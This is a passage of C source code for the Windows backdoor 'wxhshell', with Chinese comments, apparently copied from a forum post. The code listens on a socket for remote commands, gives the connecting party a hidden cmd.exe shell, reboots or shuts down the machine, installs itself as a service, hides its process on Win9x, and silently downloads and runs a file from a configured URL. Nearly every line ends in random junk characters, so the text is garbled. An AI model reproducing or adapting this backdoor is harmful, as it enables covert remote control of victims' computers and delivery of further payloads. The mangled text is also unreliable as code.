  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y*KC*/'"  
  } |LFUzq>j  
  else { 9[f%;WaS  
o_:Qk;t  
    switch(cmd[0]) { ;vUxO<cKFq  
  {h^c  
  // 帮助 <[8@5?&&  
  case '?': { " ~n3iNkP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :C}Hy  
    break; pU DO7Q]  
  } r9 ;`  
  // 安装 |J?:91  
  case 'i': { S2}Z&X(  
    if(Install()) y1Z1=U*!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GXEcpc08  
    else 4@))OD^x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KZi' v6  
    break; KZ4zF  
    } 1*#bfeoM  
  // 卸载 \Jf9npz3  
  case 'r': { 9mm2Vps;  
    if(Uninstall()) O99mic  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x.G"D(  
    else u !.DnKu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ULTNhq R*n  
    break; #'g^Za  
    } \AJS,QD  
  // 显示 wxhshell 所在路径 {0fz9"|U  
  case 'p': { =?+w)(*0c  
    char svExeFile[MAX_PATH]; xtsL8-u f  
    strcpy(svExeFile,"\n\r"); iRouLd  
      strcat(svExeFile,ExeFile); rV U:VL`2  
        send(wsh,svExeFile,strlen(svExeFile),0); 9C?cm:  
    break; FRS28D  
    } 1 Xa+%n9  
  // 重启 59K}  
  case 'b': { CnQg*+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xi.IRAZX  
    if(Boot(REBOOT)) a G@nErdW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yYBNH1  
    else { A8mlw#`E8b  
    closesocket(wsh); p}f-c  
    ExitThread(0); /o\U/I  
    } }"0{zrz  
    break; 7 {nl..`  
    } y-<$bA[K~  
  // 关机 uNg'h/^NZ|  
  case 'd': { Vbo5`+NAis  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ])S$x{.g  
    if(Boot(SHUTDOWN)) /bi6>GaC:E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); To">DOt  
    else { P!9;} &  
    closesocket(wsh); $wgc vySx  
    ExitThread(0); E0T&GR@.  
    }  ?;+^  
    break; #_{0Ndp2  
    } Wge ho  
  // 获取shell =9fEv,Jk  
  case 's': { W?=$V>)  
    CmdShell(wsh); ;Na^]32  
    closesocket(wsh); d4% `e&K]'  
    ExitThread(0); b h*^{  
    break; * *.:)  
  } h)^dB,~  
  // 退出 jp% +n  
  case 'x': { w LpkUa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U>in2u 9  
    CloseIt(wsh); k06xz#pL  
    break; Ma>:_0I5  
    } 6<<'bi  
  // 离开 5cgo)/3M@}  
  case 'q': { )tScc*=8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' *}^@[&  
    closesocket(wsh); M5F(<,n;  
    WSACleanup(); eQ$e*|}"m  
    exit(1); Yg[ v/[]  
    break; 0hFH^2%UY  
        } |>Z&S=\I)  
  } xv^Sh}\}  
  } W"dU1]  
pXve02b1B  
  // 提示信息 (1rJFl!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TF%3uH  
} {x7=;-  
  } FOeVRq:#  
q Frt^+@  
  return; "/Om}*VhD  
} {K<uM'ww>  
{>wI8  
// shell模块句柄 m"<4\;GK  
int CmdShell(SOCKET sock) 1B6C<cL:sU  
{ 8~.iuFp  
STARTUPINFO si; ';&0~[R[  
ZeroMemory(&si,sizeof(si)); Q! Kn|mnN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kkT3 wP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kJI3`gS+  
PROCESS_INFORMATION ProcessInfo; <b6s&"%=  
char cmdline[]="cmd"; 7AI3|Ts]p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J`YnT  
  return 0; \{[D|_   
} vc )9Re$  
Cca6L9%  
// 自身启动模式 G4O,^ v;Q  
int StartFromService(void) C/CN '  
{ kxygf9I!;  
typedef struct qx Wgt(Os  
{ IY V-*/ |  
  DWORD ExitStatus; 3\7'm]  
  DWORD PebBaseAddress; >vHH  
  DWORD AffinityMask;  qe[  
  DWORD BasePriority; VPWxHVf  
  ULONG UniqueProcessId; aF,j J}On  
  ULONG InheritedFromUniqueProcessId; 4g>1G qv6  
}   PROCESS_BASIC_INFORMATION; jo<>Hc{g>  
`E{;85bDH  
PROCNTQSIP NtQueryInformationProcess; anK[P'Y  
(~=Qufy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'CS^2Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mr@_ %U  
N )'8o}E  
  HANDLE             hProcess; I0I_vu  
  PROCESS_BASIC_INFORMATION pbi; ^OsA+Ea\  
sP9^ IP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7X(rLd 6#  
  if(NULL == hInst ) return 0; MhHr*!N"}  
4,j4E@?pG9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tDEXm^B2Sv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9cVn>Fb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Km[]^;6  
Y=5!QLV4  
  if (!NtQueryInformationProcess) return 0; ;:AG2zE!  
|)28=Z|Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Vs~RJM)}  
  if(!hProcess) return 0; \k|_&hG  
xR0~S 3caI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yEE|e&#>  
hm*Th  
  CloseHandle(hProcess); $eK8GMxZ#  
J f\Qf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?nB he lW^  
if(hProcess==NULL) return 0; (hpTJsZ  
: [A?A4l  
HMODULE hMod; |}M~ kJ)  
char procName[255]; pZc9q8j3  
unsigned long cbNeeded; $/4Wod*l  
h |s*i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R'vdk<  
3js)niT9u  
  CloseHandle(hProcess); E^oEG4 X@  
3Qqnw{*  
if(strstr(procName,"services")) return 1; // 以服务启动 p#ZMABlE,P  
+`Q PBj^  
  return 0; // 注册表启动 C HQ {+?#  
} \7|s$ XQ\  
7'-)/Pk  
// 主模块 Iu)L3_+  
int StartWxhshell(LPSTR lpCmdLine) 9c"0~7v  
{ cFRSd }p=  
  SOCKET wsl; ~+nS)4 (  
BOOL val=TRUE;  <'g0il  
  int port=0; Hi9 G^Q  
  struct sockaddr_in door; B$K7L'e+-  
p5lR-G  
  if(wscfg.ws_autoins) Install(); ;e&hM\p  
Q'FX:[@x-S  
port=atoi(lpCmdLine); DH}s1mNMP  
uU8*$+ "  
if(port<=0) port=wscfg.ws_port; PFImqojHd  
h-z%C6  
  WSADATA data; +}Qv6s#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E`oSi ez)  
ZkJY.H-F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $-C6pZN(X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $=\oJ-(!@S  
  door.sin_family = AF_INET; @qg0u#k5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~0VwF  
  door.sin_port = htons(port); I>N-95  
*D,v>(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [,\'V0  
closesocket(wsl); E&RoaY0  
return 1; [VfL v.8w  
} *T.={>HE8  
RM?_15m  
  if(listen(wsl,2) == INVALID_SOCKET) { rnzsfr-|(2  
closesocket(wsl); ,gAr|x7_  
return 1; jK ?  
} [+ %p!T  
  Wxhshell(wsl); a(Gk~vD;"  
  WSACleanup(); ]=$-B  
pHI%jHHJ  
return 0; f)&`mqeE  
r?Ev.m  
} `~w%Jf  
+^^S'mP8  
// 以NT服务方式启动 b&hF')_UOz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UiGUaBmF*  
{ "k>{b:R|  
DWORD   status = 0; >#${.+y  
  DWORD   specificError = 0xfffffff; 9*G L@_c  
sg!=Q+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c]cO[T_gGa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J@u!S~&r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S>/I?(J  
  serviceStatus.dwWin32ExitCode     = 0; +1JZB* W  
  serviceStatus.dwServiceSpecificExitCode = 0; =$:4v`W0(  
  serviceStatus.dwCheckPoint       = 0; Y\\3g_YBF  
  serviceStatus.dwWaitHint       = 0; b&U5VA0=1  
dK=D=5r,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0C9QAJa  
  if (hServiceStatusHandle==0) return;  6Dr$*9  
U 8qKD  
status = GetLastError(); &?`d8\z  
  if (status!=NO_ERROR) ; @[.$Q@I  
{ (&N$W&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sgjr4axu  
    serviceStatus.dwCheckPoint       = 0; iTKG,$G  
    serviceStatus.dwWaitHint       = 0; ?kT~)k  
    serviceStatus.dwWin32ExitCode     = status; IdQwLt  
    serviceStatus.dwServiceSpecificExitCode = specificError; NO0[`jy(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ey9fbS ^I  
    return; !0d9<SVC  
  } ek+8hnkh  
K>DnD0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0X S' v,|  
  serviceStatus.dwCheckPoint       = 0; sKE*AGFL d  
  serviceStatus.dwWaitHint       = 0; \8C*O{w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RY'\mt"W2  
} Qh1Kl_a?Lv  
&H p\("  
// 处理NT服务事件,比如:启动、停止 aaqjE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *YE IG#`  
{ iz,q8}/(  
switch(fdwControl) BZ'y}Zu*  
{  onS{  
case SERVICE_CONTROL_STOP: TF ([yZO'  
  serviceStatus.dwWin32ExitCode = 0; lw/ m0}it  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H$($l<G9C  
  serviceStatus.dwCheckPoint   = 0; w4&v( m  
  serviceStatus.dwWaitHint     = 0; K\%"RgF@&  
  { "b+3 &i|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !gA^$(=:"  
  } =tvm=  
  return; ,R9f;BR  
case SERVICE_CONTROL_PAUSE: sO f)/19  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k H( 3  
  break; ph|2lLZ  
case SERVICE_CONTROL_CONTINUE: Wf&G9Be?8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s-YV_  
  break; >5z`SZf  
case SERVICE_CONTROL_INTERROGATE: ?;r7j V/`j  
  break; ?_h#>  
}; tX2>a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b ffml  
} eB1eUK>  
V1+o3g{}  
// 标准应用程序主函数 f~(^|~ZT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =_~'G^`tu  
{ Z#E#P<&d  
ysP/@;jC  
// 获取操作系统版本 MrygEC 5  
OsIsNt=GetOsVer(); :WKyEt!3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OKNs ( H  
0BU:(o&  
  // 从命令行安装 qm&53  
  if(strpbrk(lpCmdLine,"iI")) Install(); AXv3jH,HF  
Z~R/ p;@  
  // 下载执行文件 1PjX:]:  
if(wscfg.ws_downexe) { sC*E;7gT,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '1T v1  
  WinExec(wscfg.ws_filenam,SW_HIDE); xVmUmftD  
} (h(ZL9!  
 x+j/v5  
if(!OsIsNt) { #cg@Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 <PA$hTYM  
HideProc(); KQy\l+\gM  
StartWxhshell(lpCmdLine); hFF&(t2{^  
} dodz|5o%  
else ViC76aJ  
  if(StartFromService()) Boz_*l|  
  // 以服务方式启动 +/^q"/f F  
  StartServiceCtrlDispatcher(DispatchTable); PzG:M7  
else =>TtX@Q{  
  // 普通方式启动 ]$X=~>w  
  StartWxhshell(lpCmdLine); D}=i tu  
hYQ%|CBXBR  
return 0; (?=(eo<N  
}
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只看该作者 1 发表于: 2006-10-10
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